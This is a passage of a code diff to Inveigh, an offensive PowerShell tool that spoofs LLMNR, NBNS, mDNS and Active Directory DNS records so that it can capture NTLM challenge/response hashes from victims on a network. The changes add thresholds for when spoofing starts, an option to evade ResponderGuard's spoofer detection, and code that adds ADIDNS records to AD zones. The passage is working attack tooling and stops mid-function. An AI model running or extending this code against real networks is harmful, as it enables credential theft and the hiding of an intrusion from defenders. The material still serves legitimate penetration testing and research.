- .PARAMETER ADIPartition -Default = DomainDNSZones: (DomainDNSZones/ForestDNSZone) The AD partition name where the zone is stored. +Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. .PARAMETER ADIDNSThreshold Default = 4: The threshold used to determine when ADIDNS records are injected for the combo attack. Inveigh will track identical LLMNR and NBNS requests received from multiple systems. DNS records will be injected once the system count for identical LLMNR and NBNS requests exceeds the threshold. +.PARAMETER ADIDNSTTL +Default = 600 Seconds: DNS TTL in seconds for added A records. + .PARAMETER ADIDNSZone The ADIDNS zone. @@ -59,13 +63,15 @@ displaying full capture lists when running through a shell that does not have ac Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time console output is enabled. -.PARAMETER ADIDNSTTL -Default = 600 Seconds: DNS TTL in seconds for added A records. - .PARAMETER ElevatedPrivilege Default = Auto: (Auto/Y/N) Set the privilege mode. Auto will determine if Inveigh is running with elevated privilege. If so, options that require elevated privilege can be used. +.PARAMETER EvadeRG +Defauly = Enabled: (Y/N) Enable/Disable detecting and ignoring LLMNR/NBNS requests sent directly to an IP address +rather than a broadcast/multicast address. This technique is used by ResponderGuard to discover spoofers across +subnets. + .PARAMETER FileOutput Default = Disabled: (Y/N) Enable/Disable real time file output. @@ -107,14 +113,6 @@ wpad.dat requests. .PARAMETER HTTPDefaultEXE EXE filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response for EXE requests. -.PARAMETER HTTPResetDelay -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the -chance of capturing authentication through a popup box with some browsers (Firefox). - -.PARAMETER HTTPResetDelayTimeout -Default = 30 Seconds: HTTPResetDelay timeout in seconds. - .PARAMETER HTTPResponse Content to serve as the default HTTP/HTTPS/Proxy response. This response will not be used for wpad.dat requests. This parameter will not be used if HTTPDir is set. Use PowerShell character escapes and newlines where necessary. @@ -182,7 +180,10 @@ Default = Disabled: (Integer) Number of seconds the NBNS brute force spoofer wil HTTP request is received. .PARAMETER NBNSBruteForceTarget -IP address to target for NBNS brute force spoofing. +IP address to target for NBNS brute force spoofing. + +.PARAMETER NBNSNonPrintable +Default = Enabled: (Y/N) Enable/Disable answering NBNS requests for non-printable host names. .PARAMETER NBNSTTL Default = 165 Seconds: NBNS TTL in seconds for the response packet. @@ -193,7 +194,7 @@ Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Serv .PARAMETER OutputStreamOnly Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh through a shell that does not return other output streams.Note that you will not see the various +running Inveigh through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. .PARAMETER Proxy @@ -216,6 +217,12 @@ cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox -SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by closing and reopening. +.PARAMETER RunCount +Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting. + +.PARAMETER RunTime +(Integer) Run time duration in minutes. + .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. @@ -257,18 +264,20 @@ hostname that has already been checked if SpooferLearning is enabled. Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. +.PARAMETER SpooferThresholdHost +(Integer) Number of matching LLMNR/NBNS name requests to receive before Inveigh will begin responding to those +requests. + +.PARAMETER SpooferThresholdNetwork +(Integer) Number of matching LLMNR/NBNS requests to receive from different systems before Inveigh will begin +responding to those requests. + .PARAMETER StartupChecks Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. .PARAMETER StatusOutput Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. -.PARAMETER RunCount -Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting. - -.PARAMETER RunTime -(Integer) Run time duration in minutes. - .PARAMETER Tool Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. @@ -344,8 +353,7 @@ https://github.com/Kevin-Robertson/Inveigh [CmdletBinding()] param ( - [parameter(Mandatory=$false)][Array]$ADIDNSHostsIgnore = ("isatap","wpad"), - [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", + [parameter(Mandatory=$false)][Array]$ADIDNSHostsIgnore = ("isatap","wpad"), [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "", [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "", @@ -359,7 +367,6 @@ param [parameter(Mandatory=$false)][Int]$ADIDNSTTL = "600", [parameter(Mandatory=$false)][Int]$HTTPPort = "80", [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", - [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30", [parameter(Mandatory=$false)][Int]$mDNSTTL = "120", [parameter(Mandatory=$false)][Int]$NBNSTTL = "165", @@ -370,8 +377,11 @@ param [parameter(Mandatory=$false)][Int]$WPADPort = "", [parameter(Mandatory=$false)][Int]$SpooferLearningDelay = "", [parameter(Mandatory=$false)][Int]$SpooferLearningInterval = "30", + [parameter(Mandatory=$false)][Int]$SpooferThresholdHost = "0", + [parameter(Mandatory=$false)][Int]$SpooferThresholdNetwork = "0", [parameter(Mandatory=$false)][String]$ADIDNSDomain = "", [parameter(Mandatory=$false)][String]$ADIDNSDomainController = "", + [parameter(Mandatory=$false)][String]$ADIDNSForest = "", [parameter(Mandatory=$false)][String]$ADIDNSZone = "", [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "IIS", [parameter(Mandatory=$false)][String]$HTTPContentType = "text/html", @@ -385,8 +395,9 @@ param [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", [parameter(Mandatory=$false)][ValidateSet("Combo","Wildcard")][String]$ADIDNS, - [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$ADIDNSPartition = "DomainDNSZones", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Evade = "Y", + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$ADIDNSPartition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ADIDNSCleanup = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$EvadeRG = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", @@ -396,8 +407,9 @@ param [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$mDNS = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSNonprintable = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", @@ -418,7 +430,6 @@ param [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir = "", [parameter(Mandatory=$false)][Switch]$Inspect, - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ADIDNSIP = "", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = "", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "", @@ -456,18 +467,13 @@ if(!$IP) if(!$SpooferIP) { - $SpooferIP = $IP + $SpooferIP = $IP } if($ADIDNS) { - if($ADIDNS -and !$ADIDNSIP) - { - $ADIDNSIP = $SpooferIP - } - - if(!$ADIDNSDomainController -or !$ADIDNSDomain -or !$ADIDNSZone) + if(!$ADIDNSDomainController -or !$ADIDNSDomain -or $ADIDNSForest -or !$ADIDNSZone) { try @@ -489,6 +495,11 @@ if($ADIDNS) { $ADIDNSDomain = $current_domain.Name } + + if(!$ADIDNSForest) + { + $ADIDNSForest = $current_domain.Forest + } if(!$ADIDNSZone) { @@ -553,11 +564,10 @@ if(!$inveigh) $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList $inveigh.POST_request_list = New-Object System.Collections.ArrayList - $inveigh.relay_user_failed_list = New-Object System.Collections.ArrayList $inveigh.valid_host_list = New-Object System.Collections.ArrayList - $inveigh.DNS_table = [HashTable]::Synchronized(@{}) + $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{}) $inveigh.relay_privilege_table = [HashTable]::Synchronized(@{}) - $inveigh.relay_failed_auth_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{}) $inveigh.relay_history_table = [HashTable]::Synchronized(@{}) $inveigh.request_table = [HashTable]::Synchronized(@{}) $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) @@ -566,9 +576,10 @@ if(!$inveigh) $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) $inveigh.SMB_session_table = [HashTable]::Synchronized(@{}) $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{}) + $inveigh.group_table = [HashTable]::Synchronized(@{}) $inveigh.session_count = 0 $inveigh.session_list = @() - $inveigh.enumeration_data = @() + $inveigh.enumerated_data = @() } if($inveigh.running) @@ -611,6 +622,7 @@ else if($ElevatedPrivilege -eq 'Y') { + $elevated_privilege_check = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") $elevated_privilege = $true } else @@ -667,9 +679,22 @@ if(!$elevated_privilege) throw } - $NBNS = "Y" + if(!$NBNS) + { + $NBNS = "Y" + } + $SMB = "N" } +else +{ + + if(!$NBNS) + { + $NBNS = "N" + } + +} $inveigh.hostname_spoof = $false $inveigh.running = $true @@ -717,7 +742,7 @@ if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's P { $inveigh.tool = 1 $inveigh.output_stream_only = $true - $inveigh.newline = "" + $inveigh.newline = $null $ConsoleOutput = "N" } @@ -726,7 +751,7 @@ elseif($Tool -eq 2) # PowerShell Empire $inveigh.tool = 2 $inveigh.output_stream_only = $true $inveigh.console_input = $false - $inveigh.newline = "" + $inveigh.newline = $null $LogOutput = "N" $ShowHelp = "N" @@ -754,7 +779,7 @@ elseif($Tool -eq 2) # PowerShell Empire else { $inveigh.tool = 0 - $inveigh.newline = "" + $inveigh.newline = $null } $inveigh.netBIOS_domain = (Get-ChildItem -path env:userdomain).Value @@ -762,7 +787,7 @@ $inveigh.computer_name = (Get-ChildItem -path env:computername).Value try { - $inveigh.DNS_domain = ((Get-ChildItem -path env:userdnsdomain).Value).ToLower() + $inveigh.DNS_domain = ((Get-ChildItem -path env:userdnsdomain -ErrorAction 'SilentlyContinue').Value).ToLower() $inveigh.DNS_computer_name = ($inveigh.computer_name + "." + $inveigh.DNS_domain).ToLower() if(!$inveigh.domain_mapping_table.($inveigh.netBIOS_domain)) @@ -779,7 +804,7 @@ catch if($inveigh.relay_running) { - $inveigh.output_pause = $true + # $inveigh.output_pause = $true } #endregion @@ -788,11 +813,21 @@ $inveigh.output_queue.Add("[*] Inveigh $inveigh_version started at $(Get-Date -f if($ElevatedPrivilege -eq 'Y' -or $elevated_privilege) { - $inveigh.output_queue.Add("[+] Elevated Privilege Mode = Enabled") > $null + + if(($ElevatedPrivilege -eq 'Auto' -and $elevated_privilege) -or ($ElevatedPrivilege -eq 'Y' -and $elevated_privilege_check)) + { + $inveigh.output_queue.Add("[+] Elevated Privilege Mode = Enabled") > $null + } + else + { + $inveigh.output_queue.Add("[-] Elevated Privilege Mode Enabled But Check Failed") > $null + } + } else { $inveigh.output_queue.Add("[!] Elevated Privilege Mode = Disabled") > $null + $SMB = "N" } if($firewall_status) @@ -804,7 +839,53 @@ $inveigh.output_queue.Add("[+] Primary IP Address = $IP") > $null if($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y') { - $inveigh.output_queue.Add("[+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = $SpooferIP") > $null + $inveigh.output_queue.Add("[+] Spoofer IP Address = $SpooferIP") > $null +} + +if($LLMNR -eq 'Y' -or $NBNS -eq 'Y') +{ + + if($SpooferThresholdHost -gt 0) + { + $inveigh.output_queue.Add("[+] Spoofer Threshold Host = $SpooferThresholdHost") > $null + } + + if($SpooferThresholdNetwork -gt 0) + { + $inveigh.output_queue.Add("[+] Spoofer Threshold Network = $SpooferThresholdNetwork") > $null + } + +} + +if($ADIDNS) +{ + $inveigh.ADIDNS = $ADIDNS + $inveigh.output_queue.Add("[+] ADIDNS Spoofer = $ADIDNS") > $null + $inveigh.output_queue.Add("[+] ADIDNS Hosts Ignore = " + ($ADIDNSHostsIgnore -join ",")) > $null + $inveigh.output_queue.Add("[+] ADIDNS Domain Controller = $ADIDNSDomainController") > $null + $inveigh.output_queue.Add("[+] ADIDNS Domain = $ADIDNSDomain") > $null + $inveigh.output_queue.Add("[+] ADIDNS Forest = $ADIDNSForest") > $null + $inveigh.output_queue.Add("[+] ADIDNS TTL = $ADIDNSTTL") > $null + $inveigh.output_queue.Add("[+] ADIDNS Zone = $ADIDNSZone") > $null + + if($ADIDNSCleanup -eq 'Y') + { + $inveigh.output_queue.Add("[+] ADIDNS Cleanup = Enabled") > $null + } + else + { + $inveigh.output_queue.Add("[+] ADIDNS Cleanup = Disabled") > $null + } + + if($ADIDNS -eq 'Combo') + { + $inveigh.request_table_updated = $true + } + +} +else +{ + $inveigh.output_queue.Add("[+] ADIDNS Spoofer = Disabled") > $null } if($LLMNR -eq 'Y') @@ -825,7 +906,7 @@ if($LLMNR -eq 'Y') else { $inveigh.output_queue.Add("[+] LLMNR Spoofer = Disabled") > $null - $LLMNR_response_message = "[Spoofer Disabled]" + $LLMNR_response_message = "[spoofer disabled]" } if($mDNS -eq 'Y') @@ -856,7 +937,7 @@ if($mDNS -eq 'Y') else { $inveigh.output_queue.Add("[+] mDNS Spoofer = Disabled") > $null - $mDNS_response_message = "[Spoofer Disabled]" + $mDNS_response_message = "[spoofer disabled]" } if($NBNS -eq 'Y') @@ -876,7 +957,7 @@ if($NBNS -eq 'Y') else { $inveigh.output_queue.Add("[+] NBNS Spoofer = Disabled") > $null - $NBNS_response_message = "[Spoofer Disabled]" + $NBNS_response_message = "[spoofer disabled]" } if($NBNSBruteForce -eq 'Y') @@ -955,27 +1036,6 @@ else $inveigh.spoofer_repeat = $true } -if($ADIDNS) -{ - $inveigh.ADIDNS = $ADIDNS - $inveigh.output_queue.Add("[+] ADIDNS Spoofer = $ADIDNS") > $null - $inveigh.output_queue.Add("[+] ADIDNS Spoofer IP = $ADIDNSIP") > $null - $inveigh.output_queue.Add("[+] ADIDNS Hosts Ignore = " + ($ADIDNSHostsIgnore -join ",")) > $null - $inveigh.output_queue.Add("[+] ADIDNS Domain Controller = $ADIDNSDomainController") > $null - $inveigh.output_queue.Add("[+] ADIDNS Domain = $ADIDNSDomain") > $null - $inveigh.output_queue.Add("[+] ADIDNS Zone = $ADIDNSZone") > $null - - if($ADIDNS -eq 'Combo') - { - $inveigh.request_table_updated = $true - } - -} -else -{ - $inveigh.output_queue.Add("[+] ADIDNS Spoofer = Disabled") > $null -} - if($SMB -eq 'Y' -and $elevated_privilege) { $inveigh.output_queue.Add("[+] SMB Capture = Enabled") > $null @@ -1119,18 +1179,6 @@ else if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') { $inveigh.output_queue.Add("[+] HTTP/HTTPS Authentication = $HTTPAuth") > $null - $inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth") > $null - - if($WPADAuth -like "NTLM*") - { - $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) - - if($WPADAuthIgnore.Count -gt 0) - { - $inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null - } - - } if($HTTPDir -and !$HTTPResponse) { @@ -1163,14 +1211,6 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') $inveigh.output_queue.Add("[+] Basic Authentication Realm = $HTTPBasicRealm") > $null } - $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) - - if($HTTPResetDelay.Count -gt 0) - { - $inveigh.output_queue.Add("[+] HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null - $inveigh.output_queue.Add("[+] HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null - } - if($Proxy -eq 'Y') { @@ -1214,6 +1254,19 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') } + $inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth") > $null + + if($WPADAuth -like "NTLM*") + { + $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) + + if($WPADAuthIgnore.Count -gt 0) + { + $inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null + } + + } + if($WPADDirectHosts) { ForEach($WPAD_direct_host in $WPADDirectHosts) @@ -1279,19 +1332,25 @@ if($MachineAccounts -eq 'N') } else { + $inveigh.output_queue.Add("[+] Machine Account Capture = Enabled") > $null $inveigh.machine_accounts = $true } if($ConsoleOutput -ne 'N') { - if($ConsoleOutput -eq 'Y') - { - $inveigh.output_queue.Add("[+] Real Time Console Output = Enabled") > $null - } - else + if($ConsoleOutput -ne 'N') { - $inveigh.output_queue.Add("[+] Real Time Console Output = $ConsoleOutput") > $null + + if($ConsoleOutput -eq 'Y') + { + $inveigh.output_queue.Add("[+] Console Output = Full") > $null + } + else + { + $inveigh.output_queue.Add("[+] Console Output = $ConsoleOutput") > $null + } + } $inveigh.console_output = $true @@ -1311,11 +1370,11 @@ else if($inveigh.tool -eq 1) { - $inveigh.output_queue.Add("[+] Real Time Console Output Disabled Due To External Tool Selection") > $null + $inveigh.output_queue.Add("[+] Console Output Disabled Due To External Tool Selection") > $null } else { - $inveigh.output_queue.Add("[+] Real Time Console Output = Disabled") > $null + $inveigh.output_queue.Add("[+] Console Output = Disabled") > $null } } @@ -1331,13 +1390,13 @@ else if($FileOutput -eq 'Y') { - $inveigh.output_queue.Add("[+] Real Time File Output = Enabled") > $null + $inveigh.output_queue.Add("[+] File Output = Enabled") > $null $inveigh.output_queue.Add("[+] Output Directory = $output_directory") > $null $inveigh.file_output = $true } else { - $inveigh.output_queue.Add("[+] Real Time File Output = Disabled") > $null + $inveigh.output_queue.Add("[+] File Output = Disabled") > $null } if($FileUnique -eq 'Y') @@ -1374,11 +1433,11 @@ elseif($RunTime -gt 1) if($ShowHelp -eq 'Y') { - $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop manually") > $null - + $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop") > $null + if($inveigh.console_output) { - $inveigh.output_queue.Add("[*] Press any key to stop real time console output") > $null + $inveigh.output_queue.Add("[*] Press any key to stop console output") > $null } } @@ -1400,7 +1459,7 @@ while($inveigh.output_queue.Count -gt 0) { Write-Warning($inveigh.output_queue[0]) } - + if($inveigh.file_output) { $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null @@ -1443,6 +1502,8 @@ while($inveigh.output_queue.Count -gt 0) } +$inveigh.status_output = $false + #endregion #region begin script blocks @@ -1492,19 +1553,19 @@ $shared_basic_functions_scriptblock = return [System.BitConverter]::ToUInt32($field,0) } - function SpooferResponseMessage + function Get-SpooferResponseMessage { - param ([String]$query_string,[String]$mDNS_type) + param ([String]$QueryString,[String]$Type,[String]$mDNSType) $response_type = "[+]" - if($SpooferHostsReply -and $SpooferHostsReply -notcontains $query_string) + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $QueryString) { - $response_message = "[$query_string not on reply list]" + $response_message = "[$QueryString not on reply list]" } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $query_string) + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $QueryString) { - $response_message = "[$query_string is on ignore list]" + $response_message = "[$QueryString is on ignore list]" } elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) { @@ -1520,42 +1581,96 @@ $shared_basic_functions_scriptblock = } elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) { - $response_message = "[Previous $source_IP Capture]" + $response_message = "[previous $source_IP capture]" } - elseif($source_IP -eq $IP) + elseif($source_IP.IPAddressToString -eq $IP) { - $response_message = "[Local Request]" + $response_message = "[local request ignored]" } elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) { $response_message = ": " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" } - elseif($destination_IP.IPAddressToString -eq $IP) + elseif($Type -ne 'mDNS' -and $destination_IP.IPAddressToString -eq $IP) { - $response_message = "[ResponderGuard Ignored]" + $response_message = "[ResponderGuard ignored]" $response_type = "[!]" } - elseif($NBNSTypes -notcontains $NBNS_query_type) + elseif($Type -eq 'NBNS' -and $NBNSTypes -notcontains $NBNS_query_type) + { + $response_message = "[NBNS type disabled]" + } + elseif($Type -eq 'NBNS' -and $QueryString.Trim() -eq '*') { - $response_message = "[NBNS Type Disabled]" + $response_message = "[NBSTAT request]" } - elseif($query_string.Trim() -eq '*') + elseif($Type -eq 'mDNS' -and $mDNSType -and $mDNSTypes -notcontains $mDNSType) { - $response_message = "[NBSTAT Request]" + $response_message = "[mDNS type disabled]" } - elseif($mDNS_type -and $mDNSTypes -notcontains $mDNS_type) + elseif(@($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count -le $SpooferThresholdHost) { - $response_message = "[mDNS Type Disabled]" + $response_message = "[SpooferThresholdHost >= $(@($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count)]" + } + elseif(@($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count -le $SpooferThresholdNetwork) + { + $response_message = "[SpooferThresholdNetwork >= $(@($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count)]" } else { $response_message = "[something went wrong]" $response_type = "[-]" } - + return $response_type,$response_message } + function Get-NBNSQueryType([String]$NBNSQueryType) + { + + switch ($NBNSQueryType) + { + + '41-41' + { + $NBNS_query_type = "00" + } + + '41-44' + { + $NBNS_query_type = "03" + } + + '43-41' + { + $NBNS_query_type = "20" + } + + '42-4C' + { + $NBNS_query_type = "1B" + } + + '42-4D' + { + $NBNS_query_type = "1C" + } + + '42-4E' + { + $NBNS_query_type = "1D" + } + + '42-4F' + { + $NBNS_query_type = "1E" + } + + } + + return $NBNS_query_type + } + function ConvertFrom-PacketOrderedDictionary { param($packet_ordered_dictionary) @@ -1583,7 +1698,7 @@ $shared_basic_functions_scriptblock = if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)} $relay_object = New-Object PSObject - Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumeration_data.Count + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerated_data.Count Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions @@ -1600,7 +1715,7 @@ $shared_basic_functions_scriptblock = Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumeration Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execution - + return $relay_object } @@ -1618,10 +1733,10 @@ $shared_basic_functions_scriptblock = $session = $domain + "\" + $username } - if($inveigh.enumeration_data | Where-Object {$_.Hostname -eq $hostname_full}) + if($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname_full}) { - $target_index = $inveigh.enumeration_data | Where-Object {$_.Hostname -eq $hostname_full} | Select-Object -expand Index - $session_list = @($inveigh.enumeration_data[$target_index].Sessions) + $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname_full} | Select-Object -expand Index + $session_list = @($inveigh.enumerated_data[$target_index].Sessions) if($inveigh.domain_mapping_table.$domain) { @@ -1634,7 +1749,7 @@ $shared_basic_functions_scriptblock = if($session_entry -like "$domain\*") { $session_list[$i] = $session_update - $inveigh.enumeration_data[$target_index].Sessions = $session_list + $inveigh.enumerated_data[$target_index].Sessions = $session_list } } @@ -1644,15 +1759,15 @@ $shared_basic_functions_scriptblock = if($session_list -notcontains $session) { $session_list += $session - $inveigh.enumeration_data[$target_index].Sessions = $session_list + $inveigh.enumerated_data[$target_index].Sessions = $session_list } } - elseif($inveigh.enumeration_data | Where-Object {$_.IP -eq $IP}) + elseif($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP}) { - $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index - $inveigh.enumeration_data[$target_index].Hostname = $hostname_full - $session_list = @($inveigh.enumeration_data[$target_index].Sessions) + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index + $inveigh.enumerated_data[$target_index].Hostname = $hostname_full + $session_list = @($inveigh.enumerated_data[$target_index].Sessions) if($inveigh.domain_mapping_table.$domain) { @@ -1665,7 +1780,7 @@ $shared_basic_functions_scriptblock = if($session_list[$i] -like "$domain\*") { $session_list[$i] = $session_update - $inveigh.enumeration_data[$target_index].Sessions = $session_list + $inveigh.enumerated_data[$target_index].Sessions = $session_list } } @@ -1675,13 +1790,13 @@ $shared_basic_functions_scriptblock = if($session_list -notcontains $session) { $session_list += $session - $inveigh.enumeration_data[$target_index].Sessions = $session_list + $inveigh.enumerated_data[$target_index].Sessions = $session_list } } else { - $inveigh.enumeration_data += New-RelayEnumObject -IP $IP -Hostname $hostname_full -Session $session + $inveigh.enumerated_data += New-RelayEnumObject -IP $IP -Hostname $hostname_full -Session $session } } @@ -1689,7 +1804,7 @@ $shared_basic_functions_scriptblock = } # DNS Functions ScriptBlock -$ADIDNS_functions_scriptblock = +$ADIDNS_functions_scriptblock = { function Disable-ADIDNSNode @@ -1739,7 +1854,7 @@ $ADIDNS_functions_scriptblock = $directory_entry.InvokeSet('dnsRecord',$DNS_record) $directory_entry.InvokeSet('dnsTombstoned',$true) $directory_entry.SetInfo() - $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS node $Node tombstoned") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS node $Node tombstoned in $Zone") > $null } catch { @@ -1805,11 +1920,11 @@ $ADIDNS_functions_scriptblock = $directory_entry.InvokeSet('dnsRecord',$DNSRecord) $directory_entry.SetInfo() $success = $true - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added") > $null; + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added to $Zone") > $null; if($inveigh.ADIDNS -eq 'Combo') { - $inveigh.DNS_table.$Node = "1" + $inveigh.ADIDNS_table.$Node = "1" } } @@ -1822,7 +1937,7 @@ $ADIDNS_functions_scriptblock = if($inveigh.ADIDNS -eq 'Combo') { - $inveigh.DNS_table.$Node = "0" + $inveigh.ADIDNS_table.$Node = "0" } } @@ -1875,7 +1990,8 @@ $ADIDNS_functions_scriptblock = catch { - if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*') + if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and + $_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*') { $error_message = $_.Exception.Message $error_message = $error_message -replace "`n","" @@ -1918,6 +2034,7 @@ $ADIDNS_functions_scriptblock = [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Forest, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$false)][String]$Type, @@ -1949,10 +2066,9 @@ $ADIDNS_functions_scriptblock = } $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration" + $forest_array = $Forest.Split(".") - $DC_array = $Domain.Split(".") - - ForEach($DC in $DC_array) + ForEach($DC in $forest_array) { 